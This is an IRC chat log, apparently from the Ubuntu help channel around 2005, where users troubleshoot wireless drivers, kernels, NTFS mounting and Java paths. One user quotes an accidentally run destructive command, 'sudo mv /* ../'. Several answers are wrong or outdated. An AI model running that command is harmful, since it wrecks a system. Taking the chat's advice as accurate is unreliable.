[12:00] <Madpilot> !repos
[12:00] <ubotu> rumour has it, repos is at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[12:00] <Madpilot> tdn_: the 2nd url above ^^^ is an 'official' sources.list - cut and paste that, you'll be fine
[12:01] <tdn_> maddler, ok. Thanks. I'll just edit my sources.list from the one in the pastebin and then run apt-get update and then synaptic again?
[12:01] <intelikey> eeeek  i saved a webpage and now the dl manager is covering all the control buttons so i can't even close ff      ub 5.04   xfce4    any way to close the dlm without killind the gui ?
[12:01] <Madpilot> tdn_: you can update from inside Synaptic - hit the Reload button
[12:01] <Popeye> j0ax
[12:01] <Popeye> cuanta pea
[12:02] <puff> Hm, so "apt-cache search ip2200" turns up nothing... what next?
[12:03] <Madpilot> puff: are you looking for printer drivers? (Canon ip2200?)
[12:03] <tdn_> Madpilot, ok. Nice. Im not used to all this graphic stuff :)
[12:03] <|Imp|> puff, wifi drivers?
[12:03] <Madpilot> tdn_: you can actually do all the sources.list stuff right inside Synaptic as well
[12:03] <puff> Madpilot: Nah.  |Imp| Yah.
[12:03] <|Imp|> puff, look up the windows drivers
[12:03] <puff> hm, according to this ubuntuforums.com post, it's in "the monster linux-image package"
[12:03] <|Imp|> they don't make linux drivers
[12:03] <|Imp|> you'll need to set up ndiswrapper
[12:04] <Madpilot> ubotu tell tdn_ about synaptic
[12:04] <puff> |Imp|: There's a sourceforge port for ipw2200.
[12:04] <intelikey> what is /usr/lib/gamin/gam_server ?
[12:04] <|Imp|> really?
[12:04] <|Imp|> i feel like a moron now then
[12:04] <theine> puff, was your card working before by the way?
[12:04] <puff> http://ubuntuforums.org/archive/index.php/t-32099.html
[12:04] <|Imp|> i spent hours setting up ndiswrapper for ubuntu
[12:04] <puff> theine: Yup, worked just fine out of the box, worked too well, the problem was both the wirelss and the wire were coming up and the wireless dhcp was taking priority.
[12:05] <theine> |Imp|, actually, ipw2200 drivers are included in the official Ubuntu kernel as far as I know
[12:05] <puff> So I had to ifdown it every time I resumed.
[12:05] <robotgeek> puff: i swear i had seen the ipw2200 sources in my list before, doesn't show up now. maybe they come inbuilt in breezy!
[12:05] <|Imp|> hmm
[12:05] <theine> puff, what do you mean priority?
[12:05] <|Imp|> maybe im thinking of the wrong i**2200
[12:05] <puff> theine: In the linux-image package, according to the dicsussion at the URL I just pasted.
[12:05] <intelikey> is there a way to move a window in xfce4 ?
[12:05] <NoUse> intelikey gamin, its a file monitoring system
[12:06] <puff> theine: I mean that the wireless router had a messed up dhcp server (long storY) and it was getting dhcp from the wireless router instead of from the wired router, and thus DNS was screwed up.
[12:07] <Arsonide> Hey my mouse just stopped working for no reason...any clues?
[12:07] <tdn_> Oh no! Now Synaptics gives me an error while trying to reload: http://paste.ubuntulinux.nl/1732.
[12:07] <theine> puff, and you didn't want to hardcode the dns ip into /etc/resolv./conf i suppose?
[12:07] <Arsonide> The laser is on...
[12:07] <ryguy1233> NoUse: i dont think i have the recovery xp disk
[12:07] <Arsonide> So it's definately plugged in.
[12:07] <puff> hm, so this leads me to wonder what other modules might need upgrading.
[12:07] <theine> resolv.conf
[12:07] <robotgeek> Arsonide: connect and reconnect!
[12:07] <puff> theine: nope.
[12:07] <GoClick> I accidentaly went [sudo mv /* ../]  while I was in /home/apache/htdocs/  and that's bad. I've got a LiveCD in the machine now but where does the live CD mount the first SATA device?
[12:07] <Arsonide> Does this happen a lot?
[12:07] <puff> theine: I tend to spend my time bouncing around between several different networks.
[12:07] <thrush> look directly into the eye of the laser you should see an error code
[12:07] <Arsonide> What do you mean connect and reconnect?
[12:08] <icewt> anyone using kaffeine for digital television?
[12:08] <robotgeek> Arsonide: first time i've heard this happen
[12:08] <theine> puff, so what did you do to reach the current state?
[12:08] <NoUse> ryguy1233 try the XP book disk from bootdisk.com but I'm not sure if it has the repair stuff on it
[12:08] <Stormx2> Hey, just a quick question. I've install kubuntu-desktop (and all the KDE to go with it), but i've decided against using it. Is there an easy way to remove the KDE packages from my GNOME menu?
[12:08] <robotgeek> Arsonide: ur mouse!
[12:08] <puff> theine: So, is there a way to get the linux-image package appropriate for my kernel?  I'm kinda worried other modules  might need upgrading as well.
[12:08] <lJlolel> what? mp3's play just by mousing over them? Linux is so cool
[12:08] <NoUse> tdn_ its pretty self explanitory, you have two sources that are the same, remove one
[12:08] <ryguy1233> NoUse: do you think there is a chance someone will have posted it as a torrent?
[12:08] <theine> puff, what cpu do you have
[12:08] <intelikey> apt uninstall comand ?    purge ?
[12:08] <Arsonide> Still doesn't work
[12:08] <Arsonide> now the laser is on but very very dim
[12:08] <NoUse> ryguy1233 people pirate windows? ;-)
[12:09] <Stormx2> ryguy1233: What do you want, boot disk?
[12:09] <robotgeek> Arsonide: i am not sure what's wrong :(
[12:09] <Arsonide> I'll try restarting
[12:09] <Arsonide> brb
[12:09] <GoClick> Does the LiveCD mount the local hard drive anywhere?
[12:09] <intelikey> only remove i guess.
[12:09] <robotgeek> intelikey: apt-get remove <package>
[12:09] <puff> theine: I don't have the log file in front o fme at the moment (was keeping it elsewhere) but i followed the advice from folks here on upgrading my kernel.
[12:09] <lunitik> Stormx2, if you don't want kubuntu at all... install 'debfoster' and run it... its in universe.
[12:09] <ryguy1233> Stormx2: yeah, is that also known as a recovery disk?
[12:10] <Stormx2> ryguy1233: Not sure, what do you want to do with it? Put it in your floppy drive and boot xp with it?
[12:10] <lunitik> Stormx2, then just say no to all the contents of kubuntu-desktop... and it will all be removed from the system
[12:10] <theine> puff, I would try `sudo apt-get install --reinstall linux-image-2.6.10-5-686'
[12:10] <ryguy1233> is there an easy way of send a message that beeps on the persons computer like you do for me?
[12:10] <NoUse> Stormx2 he needs to fix his mbr
[12:10] <Stormx2> lunitik: Thanks a bunch ^_^
[12:10] <puff> so, hm, maybe i just need to apt-get reinnstall... yeah.
[12:10] <puff> cool, thanks.
[12:10] <ryguy1233> or is typing in their nick the easiest
[12:10] <puff> theine: thanks.
[12:10] <intelikey> howto list all installed packages ?
[12:10] <Stormx2> ryguy1233: Include their name in it.
[12:10] <theine> puff, unless you have a different cpou of course
[12:10] <theine> cpu
[12:10] <lunitik> intelikey, dpkg -l
[12:10] <intelikey> ty lunitik
[12:10] <Stormx2> NoUse: Surely install / reconfigure GRUB?
[12:10] <lunitik> intelikey, you likely want to do 'dpkg -l | less' though
[12:11] <ryguy1233> stormx2, i want to fix the mbr
[12:11] <NoUse> Stormx2 he has uninstalled Ubuntu so he just wants the XP boot loader back
[12:11] <intelikey> na the list is not that long   i might  | less lunitik
[12:11] <ryguy1233> oh he said it aleayd
[12:11] <Stormx2> NoUse: Stuffed.
[12:11] <Stormx2> NoUse: Hmm
[12:11] <confrey> anybody using oregano, or geda?
[12:11] <Stormx2> NoUse: Can he reinstall it from within XP?
[12:11] <NoUse> Stormx2 I don't think so
[12:12] <lunitik> grub-install /dev/hda
[12:12] <NoUse> ryguy1233 google fixing XP mbr or something
[12:12] <puff> Warning: CPU frequency is 800000, cpufreq assumed 2133000 kHz.
[12:12] <puff> In dmesg.
[12:12] <intelikey> only 314 installed packages      that's a short list for a pinguin
[12:12] <lunitik> ryguy1233, just add an XP entry into GRUB...
[12:12] <lunitik> ryguy1233, GRUB > boot.ini  :/
[12:13] <chumphries> puff: powernowd altering status?
[12:13] <ubuntu> hello, im running ubuntu live on this xp box that just stopped booting... im trying to mount the drive with "mount -t ntfs /dev/hdb /mnt/drive/" but im getting an error.... how do i know if my hdd is blown?  am i even mounting it right?
[12:13] <GoClick> How do I mount my Ubuntu install (pootched) from the live cd?
[12:13] <lunitik> actually... I guess I mean GRUB > NTBOOTMGR.EXE   :/
[12:13] <Stormx2> http://support.microsoft.com/?kbid=307654 any use?
[12:13] <Blissex> GoClick: 'mount /dev/hda... /mnt/hda...' for example
[12:13] <NoUse> lunitik the linux partitions are gone, meaning no grub.conf
[12:13] <lunitik> GoClick, mount /dev/hda2 /some/where/here
[12:14] <moeen> what's the default password for root ?
[12:14] <NoUse> !tell moeen about root
[12:14] <lunitik> NoUse, he can manually make grub boot windows...
[12:14] <puff> http://pastebin.com/349582
[12:14] <GoClick> Blissex, lunitik it's a SATA drive but I think it's sda2, will it autodetect the format?
[12:14] <Blissex> GoClick: yes.
[12:14] <lunitik> GoClick, yes...
[12:14] <puff> intel pentium M processor 2.13Ghz
[12:15] <GoClick> It says I need to specify filesystem stype :(
[12:15] <GoClick> sudo mount /sda2 /mnt/sda2
[12:15] <theine> puff, linux-image-2.6.10-5-686 it is
[12:15] <lunitik> GoClick, bah... likely -t ext3
[12:15] <Arsonide> Alright either the mouse or the USB port died, cause my PS2 wireless mouse works fine.
[12:15] <lunitik> theine, you really shouldn't tell people that... 'linux-image-2.6-686' would suffice...
[12:16] <GoClick> wrong fstype
[12:16] <lunitik> theine, hell... even 'linux-2.6' ... but never specific kernel...
[12:16] <theine> lunitik, damn it, i know there wass more to that...
[12:16] <kertrats> Hey, I was trying to download mplayer but the site seems to be down, anyone know anything about this?
[12:16] <hanes> i have an xp drive (hdb), and im mounting it like this " mount -t hfs /dev/hdc /mnt/drive/"... but its tellin me "mount: wrong fs type, bad option, bad superblock on /dev/hdb," what am i doing wrong?
[12:16] <intelikey> dpkg -l  shows "ii  xfce4-mcs-mana 4.2.1-1ubuntu1 Settings manager for Xfce4" but 'apt-get remove xfce4-mcs-mana'  yelds  "E: Couldn't find package xfce4-mcs-mana"   what's up with that ???
[12:16] <theine> lunitik, wait a minute, I didn't tell that
[12:17] <NoUse> hanes windows isn't hfs, ntfs
[12:17] <lunitik> theine, will allow them to upgrade kernel without thinking about it... new users should do this as it lets them get kernel security upgrades etc...
[12:17] <hanes> NoUse, thanks, i did that too... same error.....
[12:17] <theine> lunitik, why don't you try to follow the conversation before making comments like this
[12:17] <intelikey> hanes -t ntfs  ?
[12:17] <NoUse> hanes try vfat
[12:17] <[t0rc] > i'm trying to install libc6.deb and it's saying I have to kill gdm. I do so, and try from a black command line that comes up, and it still says I need to kill gdm...
[12:18] <theine> lunitik, puff needs to reinstall the kernel-image
[12:18] <intelikey> or even -t auto   maybe hanes
[12:18] <hanes> intelikey, yeah actually i just tried hfs in desperation./...
[12:18] <crube> hanes I think you should use /mount -t ntfs * *
[12:18] <hanes> mount: you must specify the filesystem type
[12:18] <theine> lunitik, so `sudo apt-get install --reinstall linux-image-2.6' won't do, now will it?
[12:18] <NoUse> hanes try vfat
[12:18] <crube> If I remember right 200 and XP use ntfs
[12:18] <crube> Usually
[12:18] <lunitik> theine, you told him (puff) to install kernel-image-2.6.10-686 because his chip is fast enough... I miss anything?
[12:18] <Nevado> anyone here running breezy? I just updated to the latest usplash and it doesn't seem any different whatsoever, wondered if anyone else was experiencing the same?
[12:18] <theine> lunitik, yes, actually you did
[12:18] <puff> Okay, done.
[12:19] <lunitik> theine, apt-get install linux-image-2.6-686 will
[12:19] <puff> Do i need to reboot for this to take effect?
[12:19] <hanes> NoUse, tried that " mount -t vfat /dev/hdb /mnt/drive/
[12:19] <hanes> mount: /dev/hdb: can't read superblock"
[12:19] <lunitik> puff, yes
[12:19] <|Imp|> puff, probably
 i have an xp drive (hdb), and im mounting it like this " mount -t hfs /dev/hdc /mnt/drive/" <---- lol    cant mount the disk   mount a partition hanes :)
[12:19] <NoUse> hanes you have to provide mount with the partion, /dev/hdb1
[12:19] <crube> hanes try to use ntfs instead of vfat
[12:19] <lunitik> |Imp|, probably reboot for a kernel to take effect?
[12:19] <puff> |Imp|: How  windowsy :-)  But i can see it for a kernel upgrade.
[12:19] <|Imp|> lunitik, i wasn't sure if he was reffering to JUST the kernel
[12:19] <Homerrr> cemc
[12:20] <Homerrr> ubuntus booting :)
[12:20] <theine> lunitik, since when do meta-packages reinstall their dependencies?
[12:20] <lunitik> puff, nah... kernel is the only thing you must reboot for   :)
[12:20] <Homerrr> bah hes not here
[12:20] <intelikey> mount -t ntfs /dev/hdc<partition_number> <mount_point>
[12:20] <ompaul> Homerr, yippee
[12:20] <LittleWoodenBoy> hey there, can somebody help me, i've just installed the cvs version of enlightenment but kdm is telling me that my xsession is now invalid, my /usr/share/xsessions/enlightenment.desktop looks like this: http://rafb.net/paste/results/NC4YG580.html
[12:20] <Homerrr> ompaul hey :D
[12:20] <hanes> ok, ive tried ntfs AND vfat and i get the same error, bad superblock....  but every time i put a number  i get mount: special device /dev/hdb1 does not exist
[12:20] <ryguy1233> nouse, do you know seveas?
[12:20] <lunitik> theine, he currently probably has a -383 kernel... linux-image-2.6-686 would install the latest -686 kernel...
[12:21] <intelikey> mount -t ntfs /dev/hdc<partition_number> <mount_point>
[12:21] <Homerrr> i put my old 80gb drive in there, and disconnected everything bar the dvdrw
[12:21] <lunitik> 386*
[12:21] <intelikey> hanes ^
[12:21] <Homerrr> installed ubuntu to it
[12:21] <NoUse> ryguy1233 I've seen him on here
[12:21] <Homerrr> and yay im watching it unpack packages
[12:21] <DaDead> is there anywat to net install Ubuntu? im trying to get away from gentoo now
[12:21] <ompaul> Homerr, I was off doing stuff for a couple of hours, all legal and involved cars shops wife and DVD
[12:21] <crube> hanes try /dev/hda1 instead of hdb
[12:21] <DaDead> aqap
[12:21] <moeen> Ubuntu APT sources don't contain MC ?
[12:21] <lunitik> !install
[12:21] <ubotu> lunitik: NO SPEAKE ENLISH!
[12:21] <lunitik> !installguide
[12:21] <ubotu> lunitik: I'm not sure, is it larger than a breadbox?
[12:21] <NoUse> moeen what is MC?
[12:21] <hanes> crube, mount: special device /dev/hda1 does not exist
[12:21] <lunitik> !botslap
[12:21] <ubotu> lunitik: No idea
[12:21] <moeen> NoUse, Midnight Commander
[12:21] <ryguy1233> i believe he was the one that told me to use the fdisk/mrb option from the win98 boot disk
[12:21] <LittleWoodenBoy> anyone got an idea how i fix my enlightenment xsession?
[12:22] <NoUse> hanes hdb, hda
[12:22] <ompaul> !lart lunitik
[12:22] <ryguy1233> do you think that would be a wise idea?
[12:22] <NoUse> hanes sorry, hdb1, not hda1
[12:22] <ryguy1233> i mean the first time it didnt work for me but i think its becuase i didnt format the floppy or something
[12:22] <hanes> NoUse, mount: special device /dev/hdb1 does not exist
[12:22] <ompaul> Homerr, there is a greater satisfaction, that is when you do fdisk -L and there is no ntfs :)
[12:23] <hanes> im int the devive manager.. it says there is a hdb.....
[12:23] <Homerrr> ompaul haha
[12:23] <hanes> device
[12:23] <moeen> I must add Debian Sources to install MC (Midnight Commander) ?
[12:23] <lunitik> DaDead, https://wiki.ubuntu.com/Installation/Netboot
[12:23] <DaDead> woot, thanks
[12:23] <NoUse> moeen not a good idea to mix debian and ubuntu sources
[12:23] <Daywalker_> mhh whats the sense of apci cpu throttling?
[12:23] <Seveas> moeen, no
[12:23] <tdn_> How do I set my default term to be Eterm in stead of this gnome-terminal thingy?
[12:23] <Seveas> !info mc
[12:23] <ubotu> mc: (Midnight Commander - a powerful file manager), section universe/utils, is optional. Version: 1:4.6.0-4.6.1-pre1-3ubuntu1 (hoary), Packaged size: 1912 kB, Installed size: 5340 kB
[12:23] <crube> hanes, try "/mount -t ntfs /dev/hda1 /mnt/drive"
[12:24] <ryguy1233> seveas! hey
[12:24] <ompaul> Daywalker_, battery saving heat reduction
[12:24] <Pr1muZ> im having this problem with limewire its giving me a path error with java
[12:24] <Seveas> hry ryguy1233
[12:24] <NoUse> hanes run sudo fdisk -l /dev/hdb and put the output in pastebin
[12:24] <ryguy1233> how are you?
[12:24] <puff> lunitik: Wait, so you're saying I *don't* have to reboot for this linux-image reinstall to take effect?
[12:24] <lunitik> ubotu, installguide is for instructions on several boot methods, try https://wiki.ubuntu.com/Installation/
[12:24] <ubotu> lunitik: okay
[12:24] <Pr1muZ> Starting LimeWire...
[12:24] <Pr1muZ> Java exec not found in PATH, starting auto-search...
[12:24] <Pr1muZ> ls: /usr/lib/j*: No such file or directory
[12:24] <Pr1muZ> OOPS, unable to locate java exec in  /usr/lib/  hierarchy
[12:24] <Pr1muZ> You need to upgrade to JRE 1.4.x or newer from http://www.java.com
[12:24] <Pr1muZ> Java exec found in  /usr/java/jre1.5.0_04/bin/
[12:24] <NoUse> !tell hanes about pastebin
[12:24] <Pr1muZ> OOPS, you don't seem to have a valid JRE. LimeWire works best with Sun JRE available at http://www.java.com  [/usr/java/jre1.5.0_04/bin/java = Error] 
[12:24] <lunitik> !installguide
[12:24] <ubotu> installguide is, like, totally, for instructions on several boot methods, try https://wiki.ubuntu.com/Installation/
[12:24] <Daywalker_> ompaul, I have it at 62% but my heat is still at 58C...
[12:24] <Seveas> DO NOT PASTE IN HERE
[12:24] <DaDead> aw no cd net boot
[12:24] <intelikey> yeah crube i think hanes was trying to mount a disk and not a partition on the disk
[12:24] <lunitik> puff, yes you do.
[12:24] <moeen> Seveas, how can I install MC then ?
[12:24] <GoClick> Thanks Blissex, lunitik
[12:25] <crube> intelikey,  he said it's an XP partition.
[12:25] <hanes> NoUse, i dont see any output from that at all....
[12:25] <Seveas> moeen, enable universe
[12:25] <puff> lunitik: Ah-hah.
[12:25] <Seveas> !repos
[12:25] <lunitik> GoClick, No problem  :)
[12:25] <ubotu> repos is probably at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[12:25] <intelikey> crube nm
[12:25] <ompaul> !tell moeen about repos
[12:25] <Seveas> ^-- moeen
[12:25] <Daywalker_> lunitik, do you need floppy disk network install=
[12:25] <ompaul> doh!
[12:25] <hanes> intelikey, that was because every time i put a number after it it says no partition
[12:25] <zum1rp> i didnt fucking know, it doesnt say not to anywhere
[12:25] <zum1rp> you got to freak out and ban me?
[12:25] <ompaul> !conduct
[12:26] <ubotu> conduct is probably http://www.ubuntulinux.org/community/conduct/document_view
[12:26] <theine> puff, could you check what directories you have under /lib/modules now?
[12:26] <keith> i have a weird problem when trying to install the sun package for java- i find it in the synaptic package manager, but it sayst his when attempting to install:
[12:26] <zum1rp> oh
[12:26] <zum1rp> nevermind
[12:26] <keith> E: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline
[12:26] <zum1rp> x;
[12:26] <intelikey> hanes i don't think you will have any luck mounting /dev/hd<letter-only>   :)
[12:26] <Stormx2> who the hell told me to do debfoster!
[12:26] <lunitik> Daywalker_, no
[12:26] <ryguy1233> seveas, i dont know where we left off but some other people were helping me too... one told me to ues the ultimate boot cd and from that use the free fdisk and today i tried that and it didnt work and i dont know if told you this but when i tried the window98 boot disk it gave me the error, invalid system disk...
[12:27] <Daywalker_> oh ok
[12:27] <lunitik> Daywalker_, all you actually need is the netinst CD's it points to...
[12:27] <hanes> intelikey, i know, just trying :)
[12:27] <intelikey> hanes you can do a  "fdisk -l "  and see where it is....
[12:27] <ryguy1233> do i need to use windows to format the floppy?
[12:27] <puff> 2.6.10-5-386  2.6.10-5-686
[12:27] <Daywalker_> lunitik, I recently installed ubuntu on my laptop which just comes with a fdd
[12:27] <hanes> intelikey,  fdisk -l prints out NOTHING
[12:27] <keith> actually whatever i install is reporting E: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline
[12:27] <lunitik> Daywalker_, ok... then you probably do  ;)
[12:27] <NoUse> hanes if you don't see any ouput then there are no partiions on that disk
[12:28] <lunitik> Daywalker_, if you have another system... you can do the LocalNet option it talks about...
[12:28] <crube> hanes,  are you sure you didn't accidently format your whole drive while installing ubuntu? O.o
[12:28] <hanes> NoUse,  oh ... so partitions sometimes disappear over night? :)
[12:28] <intelikey> hanes in a console/terminal ?
[12:28] <Daywalker_> fdd install is really easy ;)
[12:28] <NoUse> hanes apparently
[12:28] <hanes> intelikey, yeah........
[12:28] <Daywalker_> just 4 3"5 dics and its done :D
[12:28] <intelikey> try it as roof.
[12:28] <intelikey> root
[12:28] <hanes> crube, no i didnt do that hah
[12:28] <puff> theine: but I had both of those before.
[12:28] <Madpilot> intelikey: roof? ;)
[12:29] <crube> hanes,  good :D I accidenly did that once. But then again its just windows :D
[12:29] <hanes> intelikey, i am root...
[12:29] <zum1rp> how does that past site work
[12:29] <zum1rp> paste *
[12:29] <NoUse> zum1rp there are intructions there
[12:30] <hanes> crube, yeah,,, you know incidentally if there are any ubuntu volunteers here you should try and incorporate the drake (mandrake) partition app... it makes stuff liek this and a lot simpler... of course mandrakemove crapped out on this box so.....
[12:30] <Stormx2> Im gonna fucking kill ubuntu doing this...
[12:30] <Stormx2> jesus
[12:30] <zum1rp> no
[12:30] <zum1rp> dude
[12:30] <zum1rp> i used it
[12:30] <zum1rp> i just dont know what to do now
[12:30] <lunitik> Stormx2, chill... no one will help you if you show ignorance...
[12:30] <zum1rp> wait?
[12:30] <zum1rp> lol
[12:30] <Madpilot> zum1rp: now post your pastebin URL here and tell ppl what's in it
[12:30] <hanes> anyways thanks for the help
[12:31] <Stormx2> lunitik: And i won't like you if my gnome menu fucks up ^_^;;
[12:31] <hanes> awesome product btw
[12:31] <lunitik> Stormx2, wtf do I have to do with it?
[12:31] <zum1rp> http://paste.ubuntulinux.nl/d1734 errors when trying to run limewire, has to do with java and paths
[12:31] <intelikey> hanes no your not root.....  if you try fdisk -l as root it will work, if you run it as a user it prints nothing...... hanes  i just tried it both ways.
[12:31] <kdekorte> I upgraded my breezy build today and now in Xorg.0.log I am getting the error "RADEONDRIScreenInit failed because of version mismatch. [dri]  libDRI version is 5.0.0 but version 4.0.x is needed. [dri]  disabling DRI. Is this a know issue I am using the xorg radeon driver and NOT fglrx
[12:31] <Stormx2> lunitik: Hmm, you were the one who suggested debfoster.
[12:31] <Madpilot> zum1rp: you've got the JRE installed? (it's not pre-installed with Ubuntu...)
[12:31] <zum1rp> yes its installed
[12:31] <theine> puff, so which one where you using?
[12:31] <lunitik> zum1rp, do you have java installed? is 'java' in your path? (at least as a symlink)
[12:32] <synd> should the upgarde to breezy as easy as changing all instances of hoary in the sources.list to breezy and doing an apt-get update || apt-get dist-upgrade
[12:32] <Webby`> Help! How do I get gtkPod to work? i get an error like this: TunesDB '/media/RY-RICOS IP/iPod_Control/iTunes/iTunesDB' does not match checksum
[12:32] <lunitik> Stormx2, heh... debfoster shouldn't have broken anything if you said yes to ubuntu-base and ubuntu-desktop ...
[12:32] <zum1rp> whats the command to add it to path?
[12:32] <lunitik> zum1rp, depends... where'd you put it?
[12:32] <Stormx2> lunitik: Yeh its almost worked
[12:33] <lunitik> zum1rp, its easier to symlink though...
[12:33] <Stormx2> lunitik: I just want to get rid of the "Debian" menu in my GNOME menu. Would SMEG do it?
[12:33] <zum1rp> i dont know what symlink is
[12:33] <zum1rp> how do i symlink
[12:33] <lunitik> Stormx2, maybe... just remove 'menu' though...
[12:33] <intelikey> zum1rp man ln
[12:33] <kdekorte> symlink: ln -s [source]  [dest] 
[12:33] <sickFLame> guys is there another difference between ubuntu and kubuntu EXCEPT KDE ???
[12:33] <Arsonide> Hey in Xchat my user information keeps resetting to my real name - is there any way to get it to save?
[12:33] <Stormx2> lunitik: ...how
[12:34] <lunitik> zum1rp, ln -s /where/java/bin/is /usr/bin/
[12:34] <crube> sickFLame, I've noticed no difference. Been using both :P
[12:34] <lunitik> Stormx2, use Synaptic ... the package 'menu' provides that crap Debian menu  :/
[12:34] <NoUse> sickFLame they are almost the same, its really just different install discs
[12:35] <NoUse> sickFLame you can install ubuntu and then apt-get instlal kubuntu-desktop and have kubuntu
[12:35] <zum1rp> ok lunitik i did that, same error
[12:35] <kdekorte> Any idea why DRI on my machine broke after todays breezy update?
[12:35] <ColonelKernel> if my room temperature is 82c, is it acceptable/stable to have an athlonXP barton 2500+ running at 57c under load? I want to be sure this box is stable for gaming.
[12:35] <lunitik> zum1rp, what did you type?
[12:35] <kdekorte> I have a libDRI version mismatch
[12:35] <sickFLame> thanks for help !!!
[12:35] <ColonelKernel> i applied arctic silver to it and I have a copper heatsink on it, and the stock amd fan b/c its got good rpms on it
[12:35] <zum1rp> ln -s /usr/java/jre1.5.0_04 /usr/bin/
[12:36] <theine> zum1rp, I'd be careful with the `ln -s' command that lunitik gave you, as ln links relatively
[12:36] <Madpilot> ColonelKernel: 82 C is unlikely as a room temp - did you mean 82 F?
[12:36] <ColonelKernel> but im thinking 57c under load is kinda high even for an Athlon - at least if one wants stable functioning with games
[12:36] <lunitik> zum1rp, grrr... no... ln -s /usr/java/jre1.5.0_04/bin/java /usr/bin/java
[12:36] <lunitik> zum1rp, probably
[12:36] <zum1rp> same erorr.
[12:36] <crube> ColonelKernel,  you using your computer in SAUNA?
[12:36] <ColonelKernel> maddler, yes, my apologies, 82c and my house would be on fire
[12:36] <zum1rp> error *
[12:36] <ColonelKernel> Madpilot i mean
[12:36] <ColonelKernel> GD I hate booting into windows partition
[12:36] <puff> theine: I presume I was using the 2.6.10-5-686, but it'd be nice to be sure.  How do I check?
[12:37] <theine> puff, uname -a
[12:37] <puff> Also, I'd like to understand this error in dmesg:  Warning: CPU frequency is 800000, cpufreq assumed 2133000 kHz.
[12:37] <lunitik> theine, I told him to say /usr/bin/ before... thus it would link inside that dir...
[12:37] <ColonelKernel> puff, I think they have different versions of that out
[12:37] <zum1rp> so what was the other thing i could try?
[12:37] <theine> puff, tells you other things too
[12:37] <puff> Yup, uname -a says i'm using 2.6.10-5-686.
[12:37] <Madpilot> ColonelKernel: 82 F = 27 C, if it's that hot I'd say that 57 C from your CPU isn't unreasonable
[12:37] <puff> ColonelKernel: Different versions of?
[12:37] <theine> lunitik, sure
[12:37] <lunitik> zum1rp, $JAVADIR/bin/java is what you want to link to /usr/bin/   ...
[12:38] <zum1rp> /usr/java/jre1.5.0_04/bin to /usr/bin/
[12:38] <zum1rp> yeah
[12:38] <Stormx2> lunitik: I removed the menu package. Still there, mind.
[12:38] <zum1rp> i did that
[12:38] <lunitik> zum1rp, no
[12:38] <ColonelKernel> Madpilot, im looking specifically to see if that will hurt stability in game performance on the box
[12:38] <theine> puff, right, and you did `sudo apt-get install -reinstall linux-image-2.6.10-5-686'?
[12:38] <lunitik> /usr/java/jre1.5.0_04/bin/java  :|
[12:38] <Stormx2> lunitik: I'll log off and on, see if that makes any difference.
[12:39] <crube> ColonelKernel,  for the stability you just have to test it. but I don't think it'll be a problem
[12:39] <ColonelKernel> Madpilot, ut2004 and im gonn attempt msfs2004 with cedega
[12:39] <puff> theine: Yeah, still haven't rebooted though, cleaning up some open files, sessions, etc.
[12:39] <zum1rp> netadmin@ubuntu:~$ sudo ln -s /usr/java/jre1.5.0_04/bin/java /usr/bin/
[12:39] <zum1rp> ln: `/usr/bin//java/java': File exists
[12:39] <Madpilot> ColonelKernel: from what I've read, temp. stability is a very individual thing for computers - the only way to really know is to test the sucker
[12:39] <zum1rp> oops i wasnt suppose to paste that :X
[12:39] <zum1rp> sorry
[12:39] <zum1rp> lol
[12:39] <ColonelKernel> damn it
[12:39] <Daywalker_> how can I get the cpu load in percent via the shell?
[12:39] <lunitik> zum1rp, remove the file and do it again (from /usr/bin)
[12:39] <theine> puff, ok, good luck
[12:39] <ColonelKernel> ok then thanks
[12:39] <Stormx2> Nope
[12:39] <zum1rp> remove which file
[12:39] <lunitik> zum1rp, you got the command right this time though  :D
[12:39] <Stormx2> "Debian" menu is still there.
[12:40] <zum1rp> lol
[12:40] <lunitik> zum1rp, /usr/bin/java
[12:40] <zum1rp> ok whats the command to do that
[12:40] <ColonelKernel> im doing the whole "heat up the arctic silver and then cool it off" deal now
[12:40] <lunitik> zum1rp, rm /usr/bin/java
[12:40] <ColonelKernel> when the room is cool the box runs @ 52 under load
[12:40] <theine> zum1rp, how did you actually install java?
[12:40] <zum1rp> yes
[12:40] <zum1rp> oh
[12:40] <zum1rp> uhh
[12:40] <Stormx2> lunitik: Removing the package "menu" didn't help...
[12:40] <intelikey> what is the smallest window manager i can get from the ubuntu sources ?       xfce4 not accepted(unusable)
[12:40] <zum1rp> i got a .rpg file alien'd it to a deb file dpkg'd config'd and made a make file
[12:41] <lunitik> zum1rp, then just hit up till you see that ln -s command and hit enter again...
[12:41] <lunitik> Stormx2, it should have... strange...
[12:41] <ColonelKernel> I have this cpu fan that would make it significantly cooler but its SO loud, its like 54 decebels or something, so loud you couldnt take a nap in the same room with the thing
[12:41] <zum1rp> lol
[12:41] <ColonelKernel> and thats unacceptable
[12:41] <zum1rp> i did the correct cmd
[12:41] <zum1rp> after rm'ing the file
[12:41] <zum1rp> and get the same exact erorr
[12:41] <zum1rp> erorr *
[12:41] <zum1rp> errr
[12:41] <zum1rp> error *
[12:41] <Stormx2> lunitik: The package has been completely removed and its still there :O
[12:41] <ColonelKernel> the fan pushes like 55cfm - as much as a bathroom vent fan, I couldnt beleive it
[12:42] <ColonelKernel> but its unbeleivably loud
[12:42] <Madpilot> ColonelKernel: I've heard good things about the big Zalman "flower" heatsinks, esp. the ones with 120mm fans, WRT being both cool and quiet
[12:42] <Stormx2> and to put on top of that I can't get smeg installed either.
[12:42] <ColonelKernel> 7500 cfm too
[12:42] <Madpilot> might wind of getting one myself, because my CPU heatsink fan is by *far* the loudest fan in this box
[12:42] <theine> zum1rp, one option is to remove all the java stuff you installed this way and install it again from the hoary-extras repository
[12:42] <Madpilot> *wind up, even
[12:42] <lunitik> zum1rp, ugh... sudo rm -f /usr/bin/java ; sudo ln -s /usr/java/jre1.5.0_04/bin/java /usr/bin/
[12:42] <ColonelKernel> Madpilot, a new heatsink aint a possibility right now, besides ive got an all copper heatsink and arctic silver on it
[12:42] <zum1rp> i did
[12:42] <zum1rp> and
[12:42] <ColonelKernel> maybe in a week
[12:42] <zum1rp> it couldn't find the package
[12:43] <lunitik> Stormx2, after logging in and out?
[12:43] <intelikey> ? question, what is the smallest window manager i can get from the ubuntu sources ?       xfce4 not accepted(unusable)       anyone ?
